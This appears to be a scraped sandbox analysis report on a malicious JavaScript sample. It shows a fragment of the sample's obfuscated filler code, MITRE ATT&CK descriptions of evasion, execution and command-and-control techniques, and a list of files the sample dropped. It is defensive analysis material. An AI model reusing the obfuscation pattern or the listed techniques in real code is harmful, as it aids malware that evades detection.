1443	gjqgrqpy = "u";
1444	gjqgrqpy = "T";
1445	gjqgrqpy = "w";
1446	gjqgrqpy = "b";
1447	gjqgrqpy = "C";
1448	gjqgrqpy = "G";
1449	gjqgrqpy = "q";
1450	lkyhjeanh = "E";
1451	lkyhjeanh = "y";
1452	lkyhjeanh = "R";
1453	lkyhjeanh = "b";
1454	lkyhjeanh = "J";
1455	lkyhjeanh = "X";
1456	lkyhjeanh = "F";
1457	lkyhjeanh = "p";
1458	lkyhjeanh = "n";
1459	lkyhjeanh = "L";
1460	lkyhjeanh = "p";
1461	lkyhjeanh = "N";
1462	lkyhjeanh = "X";
1463	lkyhjeanh = "O";
1464	lkyhjeanh = "C";
1465	lkyhjeanh = "G";
1466	lkyhjeanh = "R";
1467	lkyhjeanh = "B";
1468	lkyhjeanh = "r";
1469	lkyhjeanh = "h";
1470	lkyhjeanh = "Q";
1471	dsjxefrtc ( );	dsjxefrtc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1468330663299317031.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\50f480ba-48d6-4be9-b530-334f747d363d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d44eab1-537c-4d60-bf69-89d72734f65d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3f148f.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
1468330663299317031.js